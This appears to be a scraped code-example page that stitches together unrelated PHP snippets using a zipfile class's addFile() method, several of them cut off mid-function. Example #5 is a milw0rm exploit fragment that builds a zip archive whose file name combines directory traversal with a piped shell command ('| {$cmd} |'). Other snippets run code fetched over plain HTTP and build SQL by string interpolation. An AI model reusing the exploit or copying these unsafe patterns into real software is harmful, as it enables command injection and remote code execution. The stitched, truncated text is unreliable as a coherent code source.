addFile() public méthode

public addFile ( $data, $name, $time )
/**
 * Minimalistic creator of OASIS OpenDocument
 *
 * @param   string      desired MIME type
 * @param   string      document content
 *
 * @return  string      OASIS OpenDocument data
 *
 * @access  public
 */
function PMA_createOpenDocument($mime, $data)
{
    $zipfile = new zipfile();
    $zipfile->addFile($mime, 'mimetype');
    $zipfile->addFile($data, 'content.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-meta ' . 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' . 'xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" ' . 'office:version="1.0">' . '<office:meta>' . '<meta:generator>phpMyAdmin ' . PMA_VERSION . '</meta:generator>' . '<meta:initial-creator>phpMyAdmin ' . PMA_VERSION . '</meta:initial-creator>' . '<meta:creation-date>' . strftime('%Y-%m-%dT%H:%M:%S') . '</meta:creation-date>' . '</office:meta>' . '</office:document-meta>', 'meta.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-styles ' . $GLOBALS['OpenDocumentNS'] . 'office:version="1.0">' . '<office:font-face-decls>' . '<style:font-face style:name="Arial Unicode MS" svg:font-family="\'Arial Unicode MS\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans1" svg:font-family="\'DejaVu Sans\'" style:font-pitch="variable"/>' . '<style:font-face style:name="HG Mincho Light J" svg:font-family="\'HG Mincho Light J\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Serif" svg:font-family="\'DejaVu Serif\'" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="Thorndale" svg:font-family="Thorndale" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans" svg:font-family="\'DejaVu Sans\'" style:font-family-generic="swiss" style:font-pitch="variable"/>' . '</office:font-face-decls>' . '<office:styles>' . '<style:default-style style:family="paragraph">' . '<style:paragraph-properties fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>' . '<style:text-properties style:use-window-font-color="true" style:font-name="DejaVu Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:font-name-asian="DejaVu Sans1" style:font-size-asian="12pt" style:language-asian="none" style:country-asian="none" style:font-name-complex="DejaVu Sans1" style:font-size-complex="12pt" style:language-complex="none" style:country-complex="none" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>' . '</style:default-style>' . '<style:style style:name="Standard" style:family="paragraph" style:class="text"/>' . '<style:style style:name="Text_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">' . '<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0835in"/>' . '</style:style>' . '<style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_body" style:class="text">' . '<style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" fo:keep-with-next="always"/>' . '<style:text-properties style:font-name="DejaVu Sans" fo:font-size="14pt" style:font-name-asian="DejaVu Sans1" style:font-size-asian="14pt" style:font-name-complex="DejaVu Sans1" style:font-size-complex="14pt"/>' . '</style:style>' . '<style:style style:name="Heading_1" style:display-name="Heading 1" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="1">' . '<style:text-properties style:font-name="Thorndale" fo:font-size="24pt" fo:font-weight="bold" style:font-name-asian="HG Mincho Light J" style:font-size-asian="24pt" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-size-complex="24pt" style:font-weight-complex="bold"/>' . '</style:style>' . '<style:style style:name="Heading_2" style:display-name="Heading 2" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="2">' . '<style:text-properties style:font-name="DejaVu Serif" fo:font-size="18pt" fo:font-weight="bold" style:font-name-asian="DejaVu Sans1" style:font-size-asian="18pt" style:font-weight-asian="bold" style:font-name-complex="DejaVu Sans1" style:font-size-complex="18pt" style:font-weight-complex="bold"/>' . '</style:style>' . '</office:styles>' . '<office:automatic-styles>' . '<style:page-layout style:name="pm1">' . '<style:page-layout-properties fo:page-width="8.2673in" fo:page-height="11.6925in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="1in" fo:margin-bottom="1in" fo:margin-left="1.25in" fo:margin-right="1.25in" style:writing-mode="lr-tb" style:footnote-max-height="0in">' . '<style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>' . '</style:page-layout-properties>' . '<style:header-style/>' . '<style:footer-style/>' . '</style:page-layout>' . '</office:automatic-styles>' . '<office:master-styles>' . '<style:master-page style:name="Standard" style:page-layout-name="pm1"/>' . '</office:master-styles>' . '</office:document-styles>', 'styles.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0">' . '<manifest:file-entry manifest:media-type="' . $mime . '" manifest:full-path="/"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>' . '</manifest:manifest>', 'META-INF/manifest.xml');
    return $zipfile->file();
}
 public function index()
 {
     $filenamezip = APP_ROOT_PATH . "public/mobile_goods_down_region_conf.zip";
     if (!file_exists($filenamezip)) {
         $sql = "select id,pid,name,'' as postcode,'' as py from " . DB_PREFIX . "delivery_region";
         $list = $GLOBALS['db']->getAll($sql);
         $root = array();
         $root['return'] = 1;
         $region_list = "";
         foreach ($list as $item) {
             $sql = "insert into region_conf(id,pid,name,postcode,py) values('{$item['id']}','{$item['pid']}','{$item['name']}','{$item['postcode']}','{$item['py']}');";
             if ($region_list == "") {
                 $region_list = $sql;
             } else {
                 $region_list = $region_list . "\n" . $sql;
             }
         }
         $ziper = new zipfile();
         $ziper->addFile($region_list, "region_conf.txt");
         $ziper->output($filenamezip);
     }
     $root = array();
     $root['return'] = 1;
     if (file_exists($filenamezip)) {
         $root['file_exists'] = 1;
     } else {
         $root['file_exists'] = 0;
     }
     $sql = "select count(*) as num from " . DB_PREFIX . "delivery_region";
     $root['region_num'] = $GLOBALS['db']->getOne($sql);
     //配置地区数量
     $root['file_url'] = get_domain() . APP_ROOT . "/../public/mobile_goods_down_region_conf.zip";
     $root['file_size'] = abs(filesize($filenamezip));
     output($root);
 }
function makezip($zipname, $ad_dir)
{
    $zipfilename = $zipname;
    $zip_subfolder = '';
    $ad_dir = $ad_dir;
    // form is posted, handle it
    $zipfile = new zipfile();
    // generate _settings into zip file
    //$zipfile ->addFile( stripcslashes( $settings ), $zip_subfolder . '/_settings.php' );
    if ($handle = opendir($ad_dir)) {
        while (false !== ($file = readdir($handle))) {
            if (!is_dir($file) && $file != "." && $file != "..") {
                $f_tmp = @fopen($ad_dir . '/' . $file, 'r');
                if ($f_tmp) {
                    $dump_buffer = fread($f_tmp, filesize($ad_dir . '/' . $file));
                    $zipfile->addFile($dump_buffer, $zip_subfolder . '/' . $file);
                    fclose($f_tmp);
                }
            }
        }
        $dump_buffer = $zipfile->file();
        // write the file to disk:
        $file_pointer = fopen($zipfilename, 'w');
        if ($file_pointer) {
            fwrite($file_pointer, $dump_buffer, strlen($dump_buffer));
            fclose($file_pointer);
        }
        // response zip archive to browser:
        header('Pragma: public');
        header('Content-type: application/zip');
        header('Content-length: ' . strlen($dump_buffer));
        header('Content-Disposition: attachment; filename="' . $zipfilename . '"');
        echo $dump_buffer;
    }
}
Exemple #4
0
function get_projects_archive($projects, $shedule)
{
    require_once "zip.lib.php";
    $zipfile = new zipfile();
    foreach ($projects as $fname => $project) {
        $fname = 'Projects/' . $fname;
        $zipfile->addFile($project, $fname);
    }
    $zipfile->addFile($shedule, 'shedule.xml');
    header('Content-type: application/octet-stream');
    header('Content-Disposition: attachment; filename=projects-' . date("d-m-Y-H-i-s") . '.zip');
    echo $zipfile->file();
    $zipfile->close();
}
Exemple #5
0
        // extra field length
        $cdrec .= pack('v', 0);
        // file comment length
        $cdrec .= pack('v', 0);
        // disk number start
        $cdrec .= pack('v', 0);
        // internal file attributes
        $cdrec .= pack('V', 32);
        // external file attributes - 'archive' bit set
        $cdrec .= pack('V', $this->old_offset);
        // relative offset of local header
        $this->old_offset += strlen($fr);
        $cdrec .= $name;
        $this->ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data = implode('', $this->datasec);
        $ctrldir = implode('', $this->ctrl_dir);
        return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "";
        // .zip file comment length
    }
}
$zipfile = new zipfile();
$zipfile->addFile("lol", "../../../../../../../\" README.TXT \" " . str_repeat(" ", 0xde - strlen($cmd)) . "\" | {$cmd} | .txt");
$dump_buffer = $zipfile->file();
assert(file_put_contents("9sg.zip", $dump_buffer));
?>

# milw0rm.com [2009-06-05]
Exemple #6
0
function ShowUpdatePage()
{
    global $LNG, $CONF, $db;
    $Patchlevel = explode(".", VERSION);
    if ($_REQUEST['action'] == 'history') {
        $Level = 0;
    } elseif (isset($Patchlevel[2])) {
        $Level = $Patchlevel[2];
    } else {
        $Level = 1159;
    }
    $opts = array('http' => array('method' => "GET", 'header' => "Patchlevel: " . $Level . "\r\nUser-Agent: 2Moons Update API (Rev " . $Patchlevel[2] . ")\r\n"));
    $context = stream_context_create($opts);
    switch ($_REQUEST['action']) {
        case "download":
            require_once ROOT_PATH . 'includes/libs/zip/zip.lib.' . PHP_EXT;
            $UpdateArray = unserialize(file_get_contents("http://update.2moons-systems.com/index.php?action=getupdate", FALSE, $context));
            if (!is_array($UpdateArray['revs'])) {
                exitupdate(array('debug' => array('noupdate' => "Kein Update vorhanden!")));
            }
            $SVN_ROOT = $UpdateArray['info']['svn'];
            $zipfile = new zipfile();
            $TodoDelete = "";
            foreach ($UpdateArray['revs'] as $Rev => $RevInfo) {
                if (!empty($RevInfo['add'])) {
                    foreach ($RevInfo['add'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $zipfile->addFile(file_get_contents($SVN_ROOT . $File), str_replace("/trunk/", "", $File), $RevInfo['timestamp']);
                        }
                    }
                }
                if (!empty($RevInfo['edit'])) {
                    foreach ($RevInfo['edit'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $zipfile->addFile(file_get_contents($SVN_ROOT . $File), str_replace("/trunk/", "", $File), $RevInfo['timestamp']);
                        }
                    }
                }
                if (!empty($RevInfo['del'])) {
                    foreach ($RevInfo['del'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $TodoDelete .= str_replace("/trunk/", "", $File) . "\r\n";
                        }
                    }
                }
                $LastRev = $Rev;
            }
            if (!empty($TodoDelete)) {
                $zipfile->addFile($TodoDelete, "!TodoDelete!.txt", $RevInfo['timestamp']);
            }
            update_config('VERSION', str_replace("RC", "", $Patchlevel[0]) . "." . $Patchlevel[1] . "." . $LastRev);
            // Header für Download senden
            header("HTTP/1.1 200 OK");
            header("Content-Type: application/force-download");
            header('Content-Disposition: attachment; filename="patch_' . $Level . '_to_' . $LastRev . '.zip"');
            header("Content-Transfer-Encoding: binary");
            // Zip File senden
            echo $zipfile->file();
            exit;
            break;
        case "update":
            require_once ROOT_PATH . 'includes/libs/ftp/ftp.class.' . PHP_EXT;
            require_once ROOT_PATH . 'includes/libs/ftp/ftpexception.class.' . PHP_EXT;
            $UpdateArray = unserialize(file_get_contents("http://update.2moons-systems.com/index.php?action=getupdate", FALSE, $context));
            if (!is_array($UpdateArray['revs'])) {
                exitupdate(array('debug' => array('noupdate' => "Kein Update vorhanden!")));
            }
            $SVN_ROOT = $UpdateArray['info']['svn'];
            $CONFIG = array("host" => $CONF['ftp_server'], "username" => $CONF['ftp_user_name'], "password" => $CONF['ftp_user_pass'], "port" => 21);
            try {
                $ftp = FTP::getInstance();
                $ftp->connect($CONFIG);
                $LOG['debug']['connect'] = "FTP-Verbindungsaufbau: OK!";
            } catch (FTPException $error) {
                $LOG['debug']['connect'] = "FTP-Verbindungsaufbau: ERROR! " . $error->getMessage();
                exitupdate($LOG);
            }
            if ($ftp->changeDir($CONF['ftp_root_path'])) {
                $LOG['debug']['chdir'] = "FTP-Changedir(" . $CONF['ftp_root_path'] . "): OK!";
            } else {
                $LOG['debug']['chdir'] = "FTP-Changedir(" . $CONF['ftp_root_path'] . "): ERROR! Pfad nicht gefunden!";
                exitupdate($LOG);
            }
            foreach ($UpdateArray['revs'] as $Rev => $RevInfo) {
                if (!empty($RevInfo['add'])) {
                    foreach ($RevInfo['add'] as $File) {
                        if ($File == "/trunk/updates/update_" . $Rev . ".sql") {
                            $db->multi_query(str_replace("prefix_", DB_PREFIX, file_get_contents($SVN_ROOT . $File)));
                            continue;
                        } elseif ($File == "/trunk/updates/update_" . $Rev . ".php") {
                            require $SVN_ROOT . $File;
                        } else {
                            if (strpos($File, '.') !== false) {
                                $Data = fopen($SVN_ROOT . $File, "r");
                                if ($ftp->uploadFromFile($Data, str_replace("/trunk/", "", $File))) {
                                    $LOG['update'][$Rev][$File] = "OK! - Updated";
                                } else {
                                    $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht hochladen";
                                }
                                fclose($Data);
                            } else {
                                if ($ftp->makeDir(str_replace("/trunk/", "", $File), 1)) {
                                    if (PHP_SAPI == 'apache2handler') {
                                        $ftp->chmod(str_replace("/trunk/", "", $File), '0777');
                                    } else {
                                        $ftp->chmod(str_replace("/trunk/", "", $File), '0755');
                                    }
                                    $LOG['update'][$Rev][$File] = "OK! - Updated";
                                } else {
                                    $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht hochladen";
                                }
                            }
                        }
                    }
                }
                if (!empty($RevInfo['edit'])) {
                    foreach ($RevInfo['edit'] as $File) {
                        if (strpos($File, '.') !== false) {
                            if ($File == "/trunk/updates/update_" . $Rev . ".sql") {
                                $db->multi_query(str_replace("prefix_", DB_PREFIX, file_get_contents($SVN_ROOT . $File)));
                                continue;
                            } else {
                                $Data = fopen($SVN_ROOT . $File, "r");
                                if ($ftp->uploadFromFile($Data, str_replace("/trunk/", "", $File))) {
                                    $LOG['update'][$Rev][$File] = "OK! - Updated";
                                } else {
                                    $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht hochladen";
                                }
                                fclose($Data);
                            }
                        }
                    }
                }
                if (!empty($RevInfo['del'])) {
                    foreach ($RevInfo['del'] as $File) {
                        if (strpos($File, '.') !== false) {
                            if ($ftp->delete(str_replace("/trunk/", "", $File))) {
                                $LOG['update'][$Rev][$File] = "OK! - Gel&ouml;scht";
                            } else {
                                $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht l&ouml;schen";
                            }
                        } else {
                            if ($ftp->removeDir(str_replace("/trunk/", "", $File), 1)) {
                                $LOG['update'][$Rev][$File] = "OK! - Gel&ouml;scht";
                            } else {
                                $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht l&ouml;schen";
                            }
                        }
                    }
                }
                $LastRev = $Rev;
            }
            $LOG['finish']['atrev'] = "UPDATE: OK! At Revision: " . $LastRev;
            // Verbindung schließen
            update_config('VERSION', str_replace("RC", "", $Patchlevel[0]) . "." . $Patchlevel[1] . "." . $LastRev);
            exitupdate($LOG);
            break;
        default:
            $template = new template();
            $template->page_header();
            $RevList = '';
            $Update = '';
            $Info = '';
            if (!function_exists('file_get_contents') || !function_exists('fsockopen')) {
                $template->message('Function file_get_contents oder fsockopen deactive', false, 0, true);
            } elseif (($RAW = @file_get_contents("http://update.2moons-systems.com/index.php?action=update", FALSE, $context)) !== false) {
                $UpdateArray = unserialize($RAW);
                if (is_array($UpdateArray['revs'])) {
                    foreach ($UpdateArray['revs'] as $Rev => $RevInfo) {
                        if (!(empty($RevInfo['add']) && empty($RevInfo['edit'])) && $Patchlevel[2] < $Rev) {
                            $Update = "<tr><th><a href=\"?page=update&amp;action=update\">Update</a> - <a href=\"?page=update&amp;action=download\">Download Patch Files</a></th></tr>";
                            $Info = "<tr><td class=\"c\" colspan=\"5\">Aktuelle Updates</td></tr>";
                        }
                        $edit = "";
                        if (!empty($RevInfo['edit']) || is_array($RevInfo['edit'])) {
                            foreach ($RevInfo['edit'] as $file) {
                                $edit .= '<a href="http://code.google.com/p/2moons/source/diff?spec=svn' . $Rev . '&r=' . $Rev . '&format=side&path=' . $file . '" target="diff">' . str_replace("/trunk/", "", $file) . '</a><br>';
                            }
                        }
                        $RevList .= "<tr>\r\n\t\t\t\t\t\t" . ($Patchlevel[2] == $Rev ? "<td class=c colspan=5>Momentane Version</td></tr><tr>" : ($Patchlevel[2] - 1 == $Rev ? "<td class=c colspan=5>Alte Updates</td></tr><tr>" : "")) . "\r\n\t\t\t\t\t\t<td class=c >" . ($Patchlevel[2] == $Rev ? "<font color=\"red\">" : "") . "Revision " . $Rev . " " . date("d. M y H:i:s", $RevInfo['timestamp']) . " von " . $RevInfo['author'] . ($Patchlevel[2] == $Rev ? "</font>" : "") . "</td></tr>\r\n\t\t\t\t\t\t<tr><th>" . makebr($RevInfo['log']) . "</th></tr>\r\n\t\t\t\t\t\t" . (!empty($RevInfo['add']) ? "<tr><th>ADD:<br>" . str_replace("/trunk/", "", implode("<br>\n", $RevInfo['add'])) . "</b></th></tr>" : "") . "\r\n\t\t\t\t\t\t" . (!empty($RevInfo['edit']) ? "<tr><th>EDIT:<br>" . $edit . "</b></th></tr>" : "") . "\r\n\t\t\t\t\t\t" . (!empty($RevInfo['del']) ? "<tr><th>DEL:<br>" . str_replace("/trunk/", "", implode("<br>\n", $RevInfo['del'])) . "</b></th></tr>" : "") . "\r\n\t\t\t\t\t\t</tr>";
                    }
                }
                $template->assign_vars(array('RevList' => $RevList, 'Update' => $Update, 'Info' => $Info));
                $template->show('adm/UpdatePage.tpl');
            } else {
                $template->message('Update Server currently not available', false, 0, true);
            }
            break;
    }
}
Exemple #7
0
 /**
  * Writes a zip file of an array of release guids directly to the stream
  */
 public function getZipped($guids)
 {
     $s = new Settings();
     $this->nzb = new NZB();
     $zipfile = new zipfile();
     foreach ($guids as $guid) {
         $nzbpath = $this->nzb->getNZBPath($guid, $s->getSetting('nzbpath'));
         if (file_exists($nzbpath)) {
             ob_start();
             @readgzfile($nzbpath);
             $nzbfile = ob_get_contents();
             ob_end_clean();
             $filename = $guid;
             $r = $this->getByGuid($guid);
             if ($r) {
                 $filename = $r["searchname"];
             }
             $zipfile->addFile($nzbfile, $filename . ".nzb");
         }
     }
     return $zipfile->file();
 }
 public static function export_sample($a_categories, $a_items, $a_block_groups, $a_blocks, $a_comments, $folder)
 {
     global $website;
     global $theme;
     global $DB;
     @set_time_limit(0);
     $categories = array();
     $items = array();
     $blocks = array();
     $block_groups = array();
     $comments = array();
     $properties = array();
     $files = array();
     $settings = array();
     // structure
     for ($c = 0; $c < count($a_categories); $c++) {
         $tmp = new structure();
         $tmp->load($a_categories[$c]);
         //$properties['structure'][$tmp->id] = property::load_properties_associative('structure', $tmp->template, 'structure', $tmp->id);
         $properties['structure'][$tmp->id] = property::load_properties('structure', $tmp->template, 'structure', $tmp->id);
         $categories[$tmp->id] = $tmp;
         // add files referenced in properties
         if (is_array($properties['structure'][$tmp->id])) {
             foreach ($properties['structure'][$tmp->id] as $property) {
                 if ($property->type == 'image' || $property->type == 'file') {
                     $files[] = $property->value;
                 }
             }
         }
     }
     // comments
     for ($c = 0; $c < count($a_comments); $c++) {
         $tmp = new comment();
         $tmp->load($a_comments[$c]);
         $comments[$tmp->id] = $tmp;
     }
     // items
     for ($i = 0; $i < count($a_items); $i++) {
         $tmp = new item();
         $tmp->load($a_items[$i]);
         $template_id = $tmp->template;
         if ($tmp->association != "free" && $tmp->embedding == 1) {
             // we have to get the template set in the category of the item
             $template_id = $DB->query_single('template', 'nv_structure', ' id = ' . protect($tmp->category) . ' AND website = ' . $website->id);
         }
         $properties['item'][$tmp->id] = property::load_properties('item', $template_id, 'item', $tmp->id);
         list($tmp->dictionary, $files) = theme::export_sample_parse_dictionary($tmp->dictionary, $files);
         // add files referenced in properties
         if (is_array($properties['item'][$tmp->id])) {
             foreach ($properties['item'][$tmp->id] as $property) {
                 if ($property->type == 'image' || $property->type == 'file') {
                     $files[] = $property->value;
                 }
             }
         }
         // add files referenced in gallery
         if (is_array($tmp->galleries[0])) {
             $gallery_images = array_keys($tmp->galleries[0]);
             $files = array_merge($files, $gallery_images);
         }
         $items[$tmp->id] = $tmp;
     }
     // block_groups
     for ($i = 0; $i < count($a_block_groups); $i++) {
         $tmp = new block_group();
         $tmp->load($a_block_groups[$i]);
         $block_groups[$tmp->id] = $tmp;
         if (is_array($tmp->blocks)) {
             foreach ($tmp->blocks as $bgb) {
                 if ($bgb['type'] == 'block_group_block') {
                     $properties['block_group_block'][$a_block_groups[$i]][$bgb['uid']] = property::load_properties($bgb['id'], $tmp->code, 'block_group_block', $bgb['id'], $bgb['uid']);
                 } else {
                     if ($bgb['type'] == 'extension') {
                         $properties['block_group_block'][$a_block_groups[$i]][$bgb['uid']] = property::load_properties(NULL, $bgb['id'], "extension_block", NULL, $bgb['uid']);
                     }
                 }
             }
         }
         // note: maybe not all blocks in the group have been selected in the "blocks" tab
         // here we only export the block group definition, the block group blocks properties and the extension blocks properties, not adding anything else to export
     }
     // blocks
     for ($i = 0; $i < count($a_blocks); $i++) {
         $tmp = new block();
         $tmp->load($a_blocks[$i]);
         $properties['block'][$tmp->id] = property::load_properties('block', $tmp->type, 'block', $tmp->id);
         list($tmp->dictionary, $files) = theme::export_sample_parse_dictionary($tmp->dictionary, $files);
         list($tmp->trigger['trigger-content'], $files) = theme::export_sample_parse_array($tmp->trigger['trigger-content'], $files);
         list($tmp->trigger['trigger-html'], $files) = theme::export_sample_parse_array($tmp->trigger['trigger-html'], $files);
         if (!empty($tmp->trigger['trigger-image'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-image']));
         }
         if (!empty($tmp->trigger['trigger-rollover'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-rollover']));
         }
         if (!empty($tmp->trigger['trigger-rollover-active'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-rollover-active']));
         }
         if (!empty($tmp->trigger['trigger-flash'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-flash']));
         }
         if (!empty($tmp->action['action-image'])) {
             $files = array_merge($files, array_values($tmp->action['action-image']));
         }
         if (!empty($tmp->action['action-file'])) {
             $files = array_merge($files, array_values($tmp->action['action-file']));
         }
         // add files referenced in properties
         if (is_array($properties['block'][$tmp->id])) {
             foreach ($properties['block'][$tmp->id] as $property) {
                 if ($property->type == 'image' || $property->type == 'file') {
                     $files[] = $property->value;
                 }
             }
         }
         $blocks[$tmp->id] = $tmp;
     }
     // folders
     // save references and get their files list
     $folders = array();
     $folders_to_check = array();
     if (!empty($folder)) {
         array_push($folders_to_check, $folder);
         while (!empty($folders_to_check)) {
             $f = array_shift($folders_to_check);
             $f = file::filesOnPath($f);
             foreach ($f as $file) {
                 if ($file->type == 'folder') {
                     array_push($folders_to_check, $file->id);
                     array_push($folders, $file);
                 } else {
                     $files[] = $file->id;
                 }
             }
         }
     }
     // add files selected as theme_options
     foreach ($theme->options as $to) {
         if ($to->type == 'image' || $to->type == 'file') {
             $to_value = $website->theme_options->{$to->id};
             if (is_array($to_value)) {
                 $files = array_merge($files, $to_value);
             } else {
                 $files[] = $to_value;
             }
         }
     }
     // include favicon in file list
     if (!empty($website->favicon)) {
         $files[] = $website->favicon;
     }
     // files
     $files = array_unique($files);
     for ($f = 0; $f < count($files); $f++) {
         $file = new file();
         $file->load($files[$f]);
         $files[$f] = $file;
     }
     // settings
     $settings['homepage'] = $website->homepage;
     $settings['favicon'] = $website->favicon;
     $zip = new zipfile();
     $zip->addFile(var_export($website->languages, true), 'languages.var_export');
     $zip->addFile(var_export($website->theme_options, true), 'theme_options.var_export');
     $zip->addFile(var_export($categories, true), 'structure.var_export');
     $zip->addFile(var_export($items, true), 'items.var_export');
     $zip->addFile(var_export($block_groups, true), 'block_groups.var_export');
     $zip->addFile(var_export($blocks, true), 'blocks.var_export');
     $zip->addFile(var_export($comments, true), 'comments.var_export');
     $zip->addFile(var_export($files, true), 'files.var_export');
     $zip->addFile(var_export($folders, true), 'folders.var_export');
     $zip->addFile(var_export($properties, true), 'properties.var_export');
     $zip->addFile(var_export($settings, true), 'settings.var_export');
     foreach ($files as $file) {
         $zip->addFile(file_get_contents($file->absolute_path()), 'files/' . $file->id);
     }
     $contents = $zip->file();
     header('Content-Disposition: attachment; filename="' . $website->theme . '_sample.zip"');
     header("Content-type: application/octet-stream");
     header('Content-Length: ' . strlen($contents));
     echo $contents;
 }
Exemple #9
0
function compress_filedata(&$filename, &$mime_type, $contents, $compress)
{
    switch ($compress) {
        case 'zip':
            $mime_type = 'application/zip';
            $zip = new zipfile();
            $zip->addFile($contents, $filename, time());
            $contents = $zip->file();
            $filename .= '.zip';
            break;
        case 'gzip':
            $mime_type = 'application/x-gzip-compressed';
            $contents = gzencode($contents);
            $filename .= '.gz';
            break;
        case 'bz2':
            $mime_type = 'application/x-bzip';
            $contents = bzcompress($contents);
            $filename .= '.bz2';
            break;
    }
    return $contents;
}
 /**
  * Generate the application based on the selected tables and options
  */
 public function Generate()
 {
     // check for all required fields
     if (empty($_REQUEST["table_name"])) {
         throw new Exception("Please select at least one table to generate");
     }
     $cstring = $this->GetConnectionString();
     // initialize the database connection
     $handler = new DBEventHandler();
     $connection = new DBConnection($cstring, $handler);
     $server = new DBServer($connection);
     $dbSchema = new DBSchema($server);
     $debug = isset($_REQUEST["debug"]) && $_REQUEST["debug"] == "1";
     $parameters = array();
     $tableNames = $_REQUEST["table_name"];
     $packageName = $_REQUEST["package"];
     $debug_output = "";
     $selectedTables = array();
     foreach ($tableNames as $tableName) {
         $selectedTables[] = $dbSchema->Tables[$tableName];
     }
     // see if arbitrary parameters were passed in - in which case they will be passed through to the templates
     $tmp = RequestUtil::Get('parameters');
     if ($tmp) {
         $pairs = explode("\n", str_replace("\r", "", $tmp));
         foreach ($pairs as $pair) {
             list($key, $val) = explode("=", $pair, 2);
             $parameters[$key] = $val;
         }
     }
     // check for required parameters
     if (!array_key_exists('max_items_in_topnav', $parameters)) {
         $parameters['max_items_in_topnav'] = self::$DEFAULT_MAX_ITEMS_IN_TOPNAV;
     }
     $zipFile = new zipfile();
     $codeRoot = GlobalConfig::$APP_ROOT . '/code/';
     $tempRoot = GlobalConfig::$APP_ROOT . '/temp/';
     // initialize smarty
     $smarty = new Smarty();
     $smarty->template_dir = $codeRoot;
     $smarty->compile_dir = $tempRoot;
     $smarty->config_dir = $tempRoot;
     $smarty->cache_dir = $tempRoot;
     $smarty->caching = false;
     $appname = RequestUtil::Get("appname");
     $appRoot = RequestUtil::Get("appRoot");
     $includePath = RequestUtil::Get("includePath");
     $includePhar = RequestUtil::Get("includePhar");
     $enableLongPolling = RequestUtil::Get("enableLongPolling");
     $config = new AppConfig($codeRoot . $packageName);
     foreach ($config->GetTemplateFiles() as $templateFile) {
         if ($templateFile->generate_mode == 3) {
             if ($includePhar == '1') {
                 // proceed, copy the phar file
                 $templateFile->generate_mode = 2;
             } else {
                 // skip the phar file
                 continue;
             }
         }
         if ($templateFile->generate_mode == 2) {
             // this is a template that is copied without parsing to the project (ie images, static files, etc)
             $templateFilename = str_replace(array('{$appname}', '{$appname|lower}', '{$appname|upper}'), array($appname, strtolower($appname), strtoupper($appname)), $templateFile->destination);
             $contents = file_get_contents($codeRoot . $templateFile->source);
             // this is a direct copy
             if ($debug) {
                 $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . "(contents of " . $codeRoot . $templateFile->source . ")\r\n";
             } else {
                 $zipFile->addFile($contents, $templateFilename);
             }
         } elseif ($templateFile->generate_mode == 1) {
             // single template where one is generated for the entire project instead of one for each selected table
             $templateFilename = str_replace(array('{$appRoot}', '{$appRoot|lower}', '{$appRoot|upper}'), array($appRoot, strtolower($appRoot), strtoupper($appRoot)), $templateFile->destination);
             $smarty->clearAllAssign();
             foreach ($parameters as $key => $val) {
                 $smarty->assign($key, $val);
             }
             $smarty->assign("tableNames", $tableNames);
             $smarty->assign("templateFilename", $templateFilename);
             $smarty->assign("schema", $dbSchema);
             $smarty->assign("tables", $dbSchema->Tables);
             $smarty->assign("connection", $cstring);
             $smarty->assign("appname", $appname);
             $smarty->assign("appRoot", $appRoot);
             $smarty->assign("includePath", $includePath);
             $smarty->assign("includePhar", $includePhar);
             $smarty->assign("enableLongPolling", $enableLongPolling);
             $smarty->assign("PHREEZE_VERSION", Phreezer::$Version);
             $tableInfos = array();
             // add all tables to a tableInfos array that can be used for cross-referencing by table name
             foreach ($dbSchema->Tables as $table) {
                 if ($table->GetPrimaryKeyName()) {
                     $tableName = $table->Name;
                     $tableInfos[$tableName] = array();
                     $tableInfos[$tableName]['table'] = $dbSchema->Tables[$tableName];
                     $tableInfos[$tableName]['singular'] = $_REQUEST[$tableName . "_singular"];
                     $tableInfos[$tableName]['plural'] = $_REQUEST[$tableName . "_plural"];
                     $tableInfos[$tableName]['prefix'] = $_REQUEST[$tableName . "_prefix"];
                     $tableInfos[$tableName]['templateFilename'] = $templateFilename;
                 }
             }
             $smarty->assign("tableInfos", $tableInfos);
